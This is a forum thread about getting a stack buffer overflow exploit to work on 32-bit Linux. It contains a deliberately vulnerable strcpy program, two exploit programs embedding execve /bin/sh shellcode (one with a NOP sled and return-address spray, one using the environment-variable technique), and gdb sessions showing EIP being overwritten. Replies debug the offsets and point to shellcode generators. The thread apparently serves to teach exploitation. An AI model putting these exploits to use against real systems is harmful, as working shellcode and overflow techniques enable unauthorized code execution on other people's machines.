Announcement

Collapse
No announcement yet.

stupid buffer overflow program doesnt work.. cant understand

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

  • stupid buffer overflow program doesnt work.. cant understand

    this is just a silly buffer overflow program which when i compiled does not work! i cant understand why as everything seems to be in order (i'm using linux 2.6 kernel without - not SELinux).
    Code:
    /*vuln.c*/
    #include <string.h>
    
    int main(int argc , char **argv)
    {
    	char buffer[500];
    	strcpy(buffer,argv[1]);
    
    	return 0;
    }
    copy first argument to out of bounds buffer

    Code:
    /*exploit.cpp*/
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    
    char shellcode[]=
    "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
    "\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";
    
    unsigned long sp()
    {
    	asm("movl %esp , %eax");
    }
    
    int main(int argc , char **argv)
    {
    	int i;			/*looping variable*/
    	char buffer[601];	/*stores argv[1] for vuln*/
    
    	long ret = sp() - 500;	/*vuln declared 500 chars*/
    
    	printf("esp		: 0x%x\n",sp());
    	printf("esp offset	: 0x%x\n",500);
    	printf("ret address	: 0x%x\n",ret);
    
    	/*fill with return adress*/
    	for(i = 0 ; i <= 601 ; i += sizeof(long))
    		(long)buffer[i] = ret;
    
    	/*NOP*/
    	for(i = 0 ; i <= 202 ; i++)
    		buffer[i] = '\x90';
    
    	/*shellcode after NOP sled*/
    	memcpy(buffer + 202 - 1 , shellcode , strlen(shellcode));
    
    	/*fill end of array with nul for vulns strcpy*/
    	buffer[600] = 0;
    
    	execl("./vuln","vuln",buffer,0);
    
    	return 0;
    }
    i generated the shellcode string by using gdb to disassemble /lib/libc.so.6 and typing in the hex codes for the execl function.
    and i think my offsets to esp are correct.

    assuming I have the relevant assembly, how can I generate shellcode quickly and easily? (some sort of bash script?)

    also I'm not sure, but I think that strcpy isn't copying past the array bounds

    Code:
    int main()
    {
    	char a[4];
    	strcpy(a , "abc\006\006");	// last 2 chars won't fit
    
    	return 0;
    }
    and doing
    Code:
    genjix@linux:~/media/tmp> gcc main.c -g
    genjix@linux:~/media/tmp> gdb a.out
    GNU gdb 6.3
    Copyright 2004 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you are
    welcome to change it and/or distribute copies of it under certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB.  Type "show warranty" for details.
    This GDB was configured as "i586-suse-linux"...Using host libthread_db library "/lib/tls/libthread_db.so.1".
    
    (gdb) b main
    Breakpoint 1 at 0x80483d8: file main.c, line 4.
    (gdb) r
    Starting program: /home/genjix/media/tmp/a.out
    
    Breakpoint 1, main () at main.c:4
    4               strcpy(a , "abc\006\006");      // "de" won't fit
    (gdb) info registers
    eax            0x10     16
    ecx            0x40045e45       1074028101
    edx            0x1      1
    ebx            0x40145ff4       1075077108
    esp            0xbffff040       0xbffff040
    ebp            0xbffff058       0xbffff058
    esi            0x40016cc0       1073835200
    edi            0x8048470        134513776
    eip            0x80483d8        0x80483d8
    eflags         0x200282 2097794
    cs             0x73     115
    ss             0x7b     123
    ds             0x7b     123
    es             0x7b     123
    fs             0x0      0
    gs             0x33     51
    (gdb) s
    6               return 0;
    (gdb) info registers
    eax            0xbffff054       -1073745836
    ecx            0xb7fb6b3b       -1208259781
    edx            0x804851e        134513950
    ebx            0x40145ff4       1075077108
    esp            0xbffff040       0xbffff040
    ebp            0xbffff058       0xbffff058
    esi            0x40016cc0       1073835200
    edi            0x8048470        134513776
    eip            0x80483ec        0x80483ec
    eflags         0x200282 2097794
    cs             0x73     115
    ss             0x7b     123
    ds             0x7b     123
    es             0x7b     123
    fs             0x0      0
    gs             0x33     51
    (gdb)
    notice how eip is unchanged???

    the same behaviour happens even if I use something ridicolous like
    Code:
    "abc\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006\006"
    ?

    Thanks for your time.

  • #2
    couple problems....

    The overflow can definitely occur in your sample vulnerable program (I compiled it as vuln_test):

    dom@testbot:~$ gdb vuln_test

    (gdb) set args `perl -e "print 'a' x 550;"`
    (gdb) run
    Starting program: /home/dom/vuln_test `perl -e "print 'a' x 550;"`

    Program received signal SIGSEGV, Segmentation fault.
    0x61616161 in ?? ()
    (gdb) info reg
    eax 0x0 0
    ecx 0xfffffca4 -860
    edx 0xbffffc62 -1073742750
    ebx 0x4014a880 1075095680
    esp 0xbffff8f0 0xbffff8f0
    ebp 0x61616161 0x61616161
    esi 0x40016540 1073833280
    edi 0xbffff944 -1073743548
    eip 0x61616161 0x61616161
    eflags 0x10246 66118
    cs 0x23 35
    ss 0x2b 43
    ds 0x2b 43
    es 0x2b 43
    fs 0x0 0
    gs 0x0 0
    (gdb)

    Notice ebp and eip have the lovely value 0x61616161. In your four byte buffer test case, the strcpy(buf, "abc\006\006") will only overwrite the two least significant bytes (0x00 0x06--the one extra byte in the source string and the null terminator placed by strcpy) of the stored ebp on the stack frame of main() and won't touch the ret address at all. It looks like you asked gdb to single step until the return 0; of main(), which means that the stored ebp and eip on the stack have not been popped yet, hence even when you specifiy a much longer source string that is overwriting the stored ret addr it has not been loaded into the register from the stack yet. However, if you did the following:
    (gdb) break main
    Breakpoint 1 at 0x804838a
    (gdb) run
    Starting program: /home/dom/example

    Breakpoint 1, 0x0804838a in main ()
    (gdb) info frame
    Stack level 0, frame at 0xbffffb20:
    eip = 0x804838a in main; saved eip 0x40030e36
    Arglist at 0xbffffb18, args:
    Locals at 0xbffffb18, Previous frame's sp is 0xbffffb20
    Saved registers:
    ebp at 0xbffffb18, eip at 0xbffffb1c
    (gdb) x/w 0xbffffb18
    0xbffffb18: 0xbffffb48
    (gdb) break strcpy
    Breakpoint 2 at 0x400905b3
    (gdb) continue
    Continuing.

    Breakpoint 2, 0x400905b3 in strcpy () from /lib/libc.so.6
    (gdb) finish
    Run till exit from #0 0x400905b3 in strcpy () from /lib/libc.so.6
    0x080483a7 in main ()
    (gdb) info frame
    Stack level 0, frame at 0xbffffb20:
    eip = 0x80483a7 in main; saved eip 0x40030e36
    Arglist at 0xbffffb18, args:
    Locals at 0xbffffb18, Previous frame's sp is 0xbffffb20
    Saved registers:
    ebp at 0xbffffb18, eip at 0xbffffb1c
    (gdb) x/w 0xbffffb18
    0xbffffb18: 0xbfff0006
    (gdb)

    You can see the stored ebp of main()'s stack frame changed from 0xbffffb48 to 0xbfff0006, which is exactly what we would expect. Your exploit does not work because the ret address you are writing to the stack is wrong. Vuln is being passed the long string argument in argv, which is stored towards the top of the stack and before main()'s stack frame. This means that the value of esp you are getting in the exploit program is quite a bit off from where main()'s stack frame will be in the vulnerable program when exec'ed from the exploiting program with the long string as argv[1].

    Hope that helps!
    I program my home computer

    Comment


    • #3
      As far as (s)hellcodes concerned this should work:
      I think that you gonna like this site: http://www.metasploit.com

      The kung foo project :
      http://www.harmonysecurity.com/

      I saw those links in some phrack article about making windows shellcodes.
      The first one is actually very cool.There are bunch of automated scripts for making a various shellcodes.You just enter some needed parameters,like
      which program should be started,or to which adress should your shellcode
      connect to.
      Pretty usefull indeed .

      That should be enough for now.
      Now for that program of yours(exploit):

      Usually what you have to do is to guess where does your(or somebody else's :) ) overflow string starts.But you already know that, don't you.


      Here is something to think about:

      #include <stdio.h>
      #include <string.h>
      #include <unistd.h>

      #define BUFSIZE 221
      #define ALIGNMENT 0

      char sc[]=
      "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

      void main()
      {
      char *env[3] = {sc, NULL};
      char buf[BUFSIZE];
      int i;
      int *ap = (int *)(buf + ALIGNMENT);

      int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");

      //**0xbffffffa is the highest adress in bla bla bla ,and its always the same.

      for (i = 0; i < BUFSIZE - 4; i += 4)
      *ap++ = ret;

      execle("./vurnable", buf, NULL, env);
      }

      anyway I've took this example from some article which called

      "Buffer overflow tutorial"(not very original name though :) )
      made by some turkish guy name Murat.(Very good one).
      here is the link for it,it should be somewhere near to it.

      http://www.l0t3k.org/programming/docs/shellcode/

      there are couple of interesting articles on that link but ,i like this one most.
      If the link doesn't work ,(At the time of writing this post it didn't worked for me)
      send me a eMail to dulesmc@teleport.co.yu and I will send you that article.


      By the way take a close look to the
      line : #define ALIGNMENT 0
      if it doesn't work with 0 try with values 1 ,2 or 3 .

      Try to do something like that in your exploit to.

      BTW ,I had a similar problem two weeks ago .The thing is that this things work
      diffrent on each veersion of compiler ,and playing with this aligment helped.

      Now, I'll go to take a shower...

      Comment

      Working...
      X